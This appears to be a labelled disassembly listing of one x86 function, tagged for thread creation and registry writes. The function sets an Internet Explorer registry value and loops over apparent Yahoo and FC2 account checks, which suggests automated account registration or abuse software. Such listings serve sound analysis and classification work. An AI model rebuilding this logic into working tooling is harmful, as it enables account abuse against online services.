Function at 0x408f91
Capabilities:
Create thread
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1398
call fcn.0040c210
mov eax, dword [0x420bf0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00406570
test al, al
je 0x409354
mov esi, str.en_US
push esi
call fcn.00409860
pop ecx
push eax
push esi
push 1
push str.AcceptLanguage
push str.SoftwareMicrosoftInternet_ExplorerInternational
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
push 0x41a6b8
push 0x41ab60
lea eax, [ebp - 0x804]
push str.12dastetydfhfhfgt565467zcvbntd_s_s
push eax
call fcn.004098eb
lea eax, [ebp - 0x804]
push eax
call fcn.0040287e
add esp, 0x14
test al, al
jne 0x409347
push str.Global_start
call fcn.00404e04
pop ecx
xor esi, esi
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0xf50]
call fcn.00408e9a
push esi
push esi
lea eax, [ebp - 0xf50]
push eax
push 0x409601
push esi
push esi
mov byte [ebp - 0xe38], 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x409057
push 0x64
call ebx
cmp byte [ebp - 0xe38], 0
je 0x409053
push dword [ebp - 0xe40]
lea eax, [ebp - 0x1370]
push dword [ebp - 0xe3c]
lea ecx, [ebp - 0x1374]
push eax
mov dword [ebp - 0x1374], esi
mov dword [ebp - 0x1370], esi
call fcn.00407302
lea ecx, [ebp - 0x1364]
call fcn.004043e8
mov eax, dword [ebp - 0x1370]
push ecx
mov dword [ebp - 0xf58], eax
mov dword [ebp - 0x1368], esp
lea eax, [ebp - 0x1369]
mov dword [ebp - 0x1368], esp
push eax
lea ecx, [ebp - 0x1394]
mov dword [ebp - 0x1384], esi
mov dword [ebp - 0x1380], esi
mov dword [ebp - 0x137c], esi
call fcn.00402dd4
mov dword [ebp - 0x1368], esi
mov edi, 0x41b298
mov esi, str.YAHOO
push edi
call fcn.004028ab
pop ecx
test al, al
je 0x409329
push esi
call fcn.004028ab
pop ecx
test al, al
je 0x409316
push 0
lea eax, [ebp - 0x1394]
push eax
lea eax, [ebp - 0x1384]
push eax
lea eax, [ebp - 0x3ec]
push eax
call fcn.0040637d
add esp, 0x10
test al, al
je 0x4092ee
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x1360]
push eax
call fcn.0040bf40
lea eax, [ebp - 0x1384]
mov dword [ebp - 0xf60], eax
lea eax, [ebp - 0x1394]
push str.begin_loop
mov dword [ebp - 0xf5c], eax
call fcn.00404e04
add esp, 0xc
lea ecx, [ebp - 0x994]
call fcn.00408cfd
lea ecx, [ebp - 0x1364]
call fcn.004029ee
lea eax, [ebp - 0x3ec]
push eax
lea ecx, [ebp - 0x820]
call fcn.00401536
lea eax, [ebp - 0x820]
push eax
lea ecx, [ebp - 0x1394]
call fcn.00401df9
cmp dword [eax + 0x14], 0x10
jb 0x4091a1
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x3ec]
push eax
push str.fcreg
push dword [ebp - 0x1368]
lea eax, [ebp - 0x994]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1398], esp
push 0x41a2a0
call fcn.00401536
lea ecx, [ebp - 0x1364]
call fcn.0040384a
push 0
push 1
lea ecx, [ebp - 0x820]
call fcn.00401233
cmp dword [ebp - 0x984], 4
jbe 0x40929e
lea eax, [ebp - 0x1394]
push eax
lea eax, [ebp - 0x1384]
push eax
lea eax, [ebp - 0x3ec]
push eax
push dword [ebp - 0x1370]
lea ecx, [ebp - 0xddc]
call fcn.004034f2
lea ecx, [ebp - 0xddc]
call fcn.004083ef
cmp dword [ebp - 0x948], 0x10
mov ecx, dword [ebp - 0x95c]
jae 0x40923d
lea ecx, [ebp - 0x95c]
cmp dword [ebp - 0x980], 0x10
mov eax, dword [ebp - 0x994]
jae 0x409252
lea eax, [ebp - 0x994]
push 1
push ecx
push eax
lea ecx, [ebp - 0xddc]
call fcn.0040852e
push 0
lea ecx, [ebp - 0xddc]
call fcn.0040834d
test al, al
je 0x409286
lea eax, [ebp - 0x994]
push eax
lea ecx, [ebp - 0x1364]
call fcn.004044b0
jmp 0x409291
push str.ERROR:_invalid_yahoo_account
call fcn.00404e04
pop ecx
lea ecx, [ebp - 0xddc]
call fcn.00403538
jmp 0x4092be
push edi
call fcn.0040293b
push esi
call fcn.0040293b
push str.ERROR:_no_yahoo_acc
call fcn.00404e04
add esp, 0xc
push 0x927c0
call ebx
push edi
call fcn.0040293b
push esi
call fcn.0040293b
mov eax, dword [ebp - 0x908]
imul eax, eax, 0xea60
pop ecx
pop ecx
push eax
call ebx
inc dword [ebp - 0x1368]
lea ecx, [ebp - 0x994]
call fcn.00408c56
jmp 0x40930e
push edi
call fcn.0040293b
push esi
call fcn.0040293b
push str.ERROR:_no_work_domain
call fcn.00404e04
add esp, 0xc
push 0x927c0
call ebx
push esi
call fcn.0040293b
jmp 0x409320
push str.ERROR:_yahoo_lock
call fcn.00404e04
pop ecx
push edi
call fcn.0040293b
jmp 0x409333
push str.ERROR:_FC2_lock
call fcn.00404e04
pop ecx
push edi
call fcn.0040293b
push esi
call fcn.0040293b
pop ecx
pop ecx
jmp 0x4090e2
push str.ERROR:_exists
call fcn.00404e04
pop ecx
jmp 0x409390
push 0x3ff
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.0040b900
lea eax, [ebp - 0x404]
push eax
call fcn.004064bf
call fcn.004065df
push 1
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.004093a3
add esp, 0x1c
call fcn.004095a7
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040996f
leave
ret 0x10